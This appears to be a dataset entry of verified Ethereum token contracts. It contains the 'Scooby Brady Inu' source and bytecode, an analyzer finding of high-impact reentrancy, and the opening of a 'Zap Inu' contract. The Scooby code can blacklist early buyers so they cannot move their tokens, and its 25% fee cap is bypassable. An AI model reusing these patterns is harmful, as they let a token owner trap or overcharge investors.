uint256 amountETH,
uint256 liquidity
);
}
contract ScoobyContract is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Scooby Brady Inu";//
string private constant _symbol = "SCOOBY";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 8;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 12;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x13f1fc0A6c0137f5506C976336924623b5D7Bd20);//
address payable private _marketingAddress = payable(0x13f1fc0A6c0137f5506C976336924623b5D7Bd20);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
address[] private __bots;
uint256 private launchBlock;
uint256 public _maxTxAmount = 1000000 * 10**9; //
uint256 public _maxWalletSize = 2000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (block.number < launchBlock + 4 && to != uniswapV2Pair && to != address(this) && to != address(uniswapV2Router)) {
__bots.push(to);
}
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
uint256 feeRatio = _taxFeeOnBuy.div(_taxFeeOnSell);
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function doBlacklist(uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
bots[__bots[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637c519ffb116100f7578063a9059cbb11610095578063caf7855d11610064578063caf7855d14610545578063dd62ed3e14610565578063ea1644d5146105ab578063f2fde38b146105cb57600080fd5b8063a9059cbb146104c0578063bfd79284146104e0578063c3c8cd8014610510578063c492f0461461052557600080fd5b80638f9a55c0116100d15780638f9a55c01461043b57806395d89b411461045157806398a5c31514610480578063a2a957bb146104a057600080fd5b80637c519ffb146103f25780637d1db4a5146104075780638da5cb5b1461041d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027957806318160ddd146102b157806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024957600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611dea565b6105eb565b005b34801561020a57600080fd5b5060408051808201909152601081526f53636f6f627920427261647920496e7560801b60208201525b6040516102409190611f14565b60405180910390f35b34801561025557600080fd5b50610269610264366004611d40565b610698565b6040519015158152602001610240565b34801561028557600080fd5b50601454610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b5067016345785d8a00005b604051908152602001610240565b3480156102e257600080fd5b506102696102f1366004611d00565b6106af565b34801561030257600080fd5b506102c8601a5481565b34801561031857600080fd5b5060405160098152602001610240565b34801561033457600080fd5b50601554610299906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611c90565b61072f565b34801561037457600080fd5b506101fc610383366004611eb1565b61077a565b34801561039457600080fd5b506101fc6107c2565b3480156103a957600080fd5b506102c86103b8366004611c90565b61080d565b3480156103c957600080fd5b506101fc61082f565b3480156103de57600080fd5b506101fc6103ed366004611ecb565b6108a3565b3480156103fe57600080fd5b506101fc610944565b34801561041357600080fd5b506102c860185481565b34801561042957600080fd5b506000546001600160a01b0316610299565b34801561044757600080fd5b506102c860195481565b34801561045d57600080fd5b5060408051808201909152600681526553434f4f425960d01b6020820152610233565b34801561048c57600080fd5b506101fc61049b366004611ecb565b610987565b3480156104ac57600080fd5b506101fc6104bb366004611ee3565b6109b6565b3480156104cc57600080fd5b506102696104db366004611d40565b610a6e565b3480156104ec57600080fd5b506102696104fb366004611c90565b60106020526000908152604090205460ff1681565b34801561051c57600080fd5b506101fc610a7b565b34801561053157600080fd5b506101fc610540366004611d6b565b610acf565b34801561055157600080fd5b506101fc610560366004611ecb565b610b7e565b34801561057157600080fd5b506102c8610580366004611cc8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b757600080fd5b506101fc6105c6366004611ecb565b610c20565b3480156105d757600080fd5b506101fc6105e6366004611c90565b610cc3565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161061590611f67565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c8161207a565b915050610621565b5050565b60006106a5338484610dad565b5060015b92915050565b60006106bc848484610ed1565b3360009081526005602052604090205460ff16610725576107258433610720856040518060600160405280602881526020016120d7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906114d2565b610dad565b5060019392505050565b6000546001600160a01b031633146107595760405162461bcd60e51b815260040161061590611f67565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a45760405162461bcd60e51b815260040161061590611f67565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f757506013546001600160a01b0316336001600160a01b0316145b61080057600080fd5b4761080a8161150c565b50565b6001600160a01b0381166000908152600260205260408120546106a990611591565b6000546001600160a01b031633146108595760405162461bcd60e51b815260040161061590611f67565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108cd5760405162461bcd60e51b815260040161061590611f67565b6108e16103e867016345785d8a0000612024565b81101561093f5760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e312560d01b6064820152608401610615565b601855565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161061590611f67565b6015805460ff60a01b1916600160a01b17905543601755565b6000546001600160a01b031633146109b15760405162461bcd60e51b815260040161061590611f67565b601a55565b6000546001600160a01b031633146109e05760405162461bcd60e51b815260040161061590611f67565b6008849055600a8390556009829055600b8190556000610a00828561200c565b90506000610a0e848761200c565b9050601982111580610a21575060198111155b610a665760405162461bcd60e51b815260206004820152601660248201527546656573206d75737420626520756e6465722032352560501b6044820152606401610615565b505050505050565b60006106a5338484610ed1565b6012546001600160a01b0316336001600160a01b03161480610ab057506013546001600160a01b0316336001600160a01b0316145b610ab957600080fd5b6000610ac43061080d565b905061080a81611615565b6000546001600160a01b03163314610af95760405162461bcd60e51b815260040161061590611f67565b60005b82811015610b78578160056000868685818110610b2957634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610b3e9190611c90565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b708161207a565b915050610afc565b50505050565b6000546001600160a01b03163314610ba85760405162461bcd60e51b815260040161061590611f67565b60005b818110156106945760016010600060168481548110610bda57634e487b7160e01b600052603260045260246000fd5b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff191691151591909117905580610c188161207a565b915050610bab565b6000546001600160a01b03163314610c4a5760405162461bcd60e51b815260040161061590611f67565b610c5e6103e867016345785d8a0000612024565b811015610cbe5760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b6064820152608401610615565b601955565b6000546001600160a01b03163314610ced5760405162461bcd60e51b815260040161061590611f67565b6001600160a01b038116610d525760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610615565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610615565b6001600160a01b038216610e705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610615565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610615565b6001600160a01b038216610f975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610615565b60008111610ff95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610615565b6000546001600160a01b0384811691161480159061102557506000546001600160a01b03838116911614155b156113b05760175461103890600461200c565b4310801561105457506015546001600160a01b03838116911614155b801561106957506001600160a01b0382163014155b801561108357506014546001600160a01b03838116911614155b156110d457601680546001810182556000919091527fd833147d7dc355ba459fc788f669e58cfaf9dc25ddcd0702e87d69c7b51242890180546001600160a01b0319166001600160a01b0384161790555b601554600160a01b900460ff16611168576000546001600160a01b038481169116146111685760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610615565b6018548111156111ba5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610615565b6001600160a01b03831660009081526010602052604090205460ff161580156111fc57506001600160a01b03821660009081526010602052604090205460ff16155b6112545760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610615565b6015546001600160a01b038381169116146112d957601954816112768461080d565b611280919061200c565b106112d95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610615565b60006112e43061080d565b601a546018549192508210159082106112fd5760185491505b8080156113145750601554600160a81b900460ff16155b801561132e57506015546001600160a01b03868116911614155b80156113435750601554600160b01b900460ff165b801561136857506001600160a01b03851660009081526005602052604090205460ff16155b801561138d57506001600160a01b03841660009081526005602052604090205460ff16155b156113ad5761139b82611615565b4780156113ab576113ab4761150c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806113f257506001600160a01b03831660009081526005602052604090205460ff165b8061142457506015546001600160a01b0385811691161480159061142457506015546001600160a01b03848116911614155b15611431575060006114c6565b6015546001600160a01b03858116911614801561145c57506014546001600160a01b03848116911614155b1561146e57600854600c55600954600d555b6015546001600160a01b03848116911614801561149957506014546001600160a01b03858116911614155b156114c65760006114b7600b546009546117ba90919063ffffffff16565b5050600a54600c55600b54600d555b610b78848484846117fc565b600081848411156114f65760405162461bcd60e51b81526004016106159190611f14565b5060006115038486612063565b95945050505050565b6012546001600160a01b03166108fc6115268360026117ba565b6040518115909202916000818181858888f1935050505015801561154e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6115698360026117ba565b6040518115909202916000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156115f85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610615565b600061160261182a565b905061160e83826117ba565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061166b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116bf57600080fd5b505afa1580156116d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f79190611cac565b8160018151811061171857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461173e9130911684610dad565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611777908590600090869030904290600401611f9c565b600060405180830381600087803b15801561179157600080fd5b505af11580156117a5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b600061160e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061184d565b806118095761180961187b565b6118148484846118a9565b80610b7857610b78600e54600c55600f54600d55565b60008060006118376119a0565b909250905061184682826117ba565b9250505090565b6000818361186e5760405162461bcd60e51b81526004016106159190611f14565b5060006115038486612024565b600c5415801561188b5750600d54155b1561189257565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806118bb876119e0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118ed9087611a3d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461191c9086611a7f565b6001600160a01b03891660009081526002602052604090205561193e81611ade565b6119488483611b28565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161198d91815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a00006119bb82826117ba565b8210156119d75750506006549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006119fd8a600c54600d54611b4c565b9250925092506000611a0d61182a565b90506000806000611a208e878787611ba1565b919e509c509a509598509396509194505050505091939550919395565b600061160e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d2565b600080611a8c838561200c565b90508381101561160e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610615565b6000611ae861182a565b90506000611af68383611bf1565b30600090815260026020526040902054909150611b139082611a7f565b30600090815260026020526040902055505050565b600654611b359083611a3d565b600655600754611b459082611a7f565b6007555050565b6000808080611b666064611b608989611bf1565b906117ba565b90506000611b796064611b608a89611bf1565b90506000611b9182611b8b8b86611a3d565b90611a3d565b9992985090965090945050505050565b6000808080611bb08886611bf1565b90506000611bbe8887611bf1565b90506000611bcc8888611bf1565b90506000611bde82611b8b8686611a3d565b939b939a50919850919650505050505050565b600082611c00575060006106a9565b6000611c0c8385612044565b905082611c198583612024565b1461160e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610615565b8035611c7b816120c1565b919050565b80358015158114611c7b57600080fd5b600060208284031215611ca1578081fd5b813561160e816120c1565b600060208284031215611cbd578081fd5b815161160e816120c1565b60008060408385031215611cda578081fd5b8235611ce5816120c1565b91506020830135611cf5816120c1565b809150509250929050565b600080600060608486031215611d14578081fd5b8335611d1f816120c1565b92506020840135611d2f816120c1565b929592945050506040919091013590565b60008060408385031215611d52578182fd5b8235611d5d816120c1565b946020939093013593505050565b600080600060408486031215611d7f578283fd5b833567ffffffffffffffff80821115611d96578485fd5b818601915086601f830112611da9578485fd5b813581811115611db7578586fd5b8760208260051b8501011115611dcb578586fd5b602092830195509350611de19186019050611c80565b90509250925092565b60006020808385031215611dfc578182fd5b823567ffffffffffffffff80821115611e13578384fd5b818501915085601f830112611e26578384fd5b813581811115611e3857611e386120ab565b8060051b604051601f19603f83011681018181108582111715611e5d57611e5d6120ab565b604052828152858101935084860182860187018a1015611e7b578788fd5b8795505b83861015611ea457611e9081611c70565b855260019590950194938601938601611e7f565b5098975050505050505050565b600060208284031215611ec2578081fd5b61160e82611c80565b600060208284031215611edc578081fd5b5035919050565b60008060008060808587031215611ef8578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611f4057858101830151858201604001528201611f24565b81811115611f515783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611feb5784516001600160a01b031683529383019391830191600101611fc6565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561201f5761201f612095565b500190565b60008261203f57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561205e5761205e612095565b500290565b60008282101561207557612075612095565b500390565b600060001982141561208e5761208e612095565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202bfded3309c0898a57c2969de24c5a3d26978056bec843f7bdfa058dd96e268f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,749 |
0x002553cF3111d3c2A213243E7425c9B709AC5779
|
/**
*Submitted for verification at Etherscan.io on 2021-07-14
*/
/***
*
* __________ .___
* \____ _____ ______ | | ____ __ __
* / /\__ \ \____ \ | |/ \| | \
* / /_ / __ \| |_> > | | | | | /
* /_______ (____ | __/ |___|___| |____/
* \/ \/|__| \/
*
* ZAP INU
*
* Token launch is powered by DexRoulette.
*
* DexRoulette launches daily a fun and safe casino/ degen play.
* Liquidity locked for a minimum of 48 hours.
* Bot and frontrunner protected and ownership renounced.
*
* These token launches are community driven and for entertainment purposes only.
*
* Launch date: July 14, 2021 around 21:00 UTC
*
* t.me/DexRoulette
* twitter.com/DexRoulette
* reddit.com/r/DexRoulette
*
*/
/*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ZAPINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Zap Inu | t.me/DexRoulette";
string private constant _symbol = unicode"ZAPINU";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
